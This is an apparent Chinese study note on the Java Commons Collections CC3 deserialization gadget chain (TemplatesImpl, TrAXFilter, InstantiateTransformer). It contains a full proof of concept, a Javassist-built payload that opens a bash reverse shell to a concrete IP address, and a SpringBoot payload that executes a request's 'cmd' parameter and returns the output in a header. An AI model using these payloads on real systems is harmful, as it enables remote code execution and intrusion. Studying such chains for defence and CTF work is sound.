Java反序列化-CC3

girl_bike_silhouette_989860_1280x720

在学习类的动态代理的时候了解到了可以加载字节码的类TemplatesImpl

通过调⽤其 newTransformer() ⽅法,即可执⾏这段字节码的类构造器。

在CC1中通过动态加载字节码来实现执行任意命令

先构造一个利用TemplatesImpl 执⾏字节码

1
2
3
4
5
6
byte[] code =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

在CC1中是通过创建一个InvokerTransformer对象来执行方法。改造一下,执⾏的“⽅法”改成 TemplatesImpl::newTransformer()

1
2
3
4
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsIntro2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}

成功通过加载字节码和CC1执行命令

image-20240323151636449

ysoserial中利用TemplatesImpl的方式

InvokerTransformer并没有在ysoserial中利用,原因是早已经被列入黑名单中,当然用UTF-8混淆也许可以绕过。

在ysoserial中使用了com.sun.org.apache.xalan.internal.xsltc.trax中的TrAXFilter类

image-20240323154038845

进入这个类看一下,可以看到他的构造方法中调用了TransformerImpl,所以想要利用TrAXFilter类需要找到可以获取TrAXFilter类的构造方法的方法。

image-20240323155701547

缺少了InvokerTransformerTrAXFilter的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的 Transformer,就是 org.apache.commons.collections.functors.InstantiateTransformerInstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法。

java.lang.Runtime的exec方法打个断点,可以看到调用栈。

image-20240323160334838

可以看到利用 InstantiateTransformer 来调⽤到 TrAXFilter 的构造⽅法

image-20240323160628993

再利用TrAXFilter构造⽅法⾥的 templates.newTransformer() 调⽤到 TemplatesImpl ⾥的字节码。

image-20240323160906502

image-20240323161228633

Transformer调⽤链

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};

通过恶意的TemplatesImpl来进行攻击

通过反射设置file

1
2
3
4
5
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[] clazz = getTemplates();
setFieldValue(templatesImpl, "_name", "Hello");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

通过设置属性值来触发方法

1
2
3
4
5
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}

修改file的值为实例化TrAXFilter类的对象来触发ConstantTransformer的getter方法。这样就会执行Transformer

image-20240404133302092

1
setFieldValue(transformer, "iConstant", object);

反弹shell(出网的情况下)

1
2
3
4
5
6
7
8
9
    public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzQ0NDQgMD4mIDE=}|{base64,-d}|{bash,-i}\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
}

通过这个网站可以生成反弹shell的bash命令

Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)

通过反射来执行传入的参数

SpringBoot可以通过自带的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static byte[] payload() throws NotFoundException, CannotCompileException, IOException {
String s="public MyClassLoader(){ javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +
" java.lang.reflect.Field r=request.getClass().getDeclaredField(\"request\");\n" +
" r.setAccessible(true);" +
" org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();\n"+
" String s =new Scanner(Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream()).next();" +
" response.setHeader(\"night\", s);}";
ClassPool classPool = ClassPool.getDefault();
classPool.importPackage(Scanner.class.getName());
CtClass ctClass = classPool.get(AbstractTranslet.class.getName());


CtClass calc = classPool.makeClass("MyClassLoader");
calc.setSuperclass(ctClass);
CtConstructor ctConstructor = CtNewConstructor.make(s, calc);
calc.addConstructor(ctConstructor);

return calc.toBytecode();

使用题目自带的实现http的类

CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用) | Java (gitbook.io)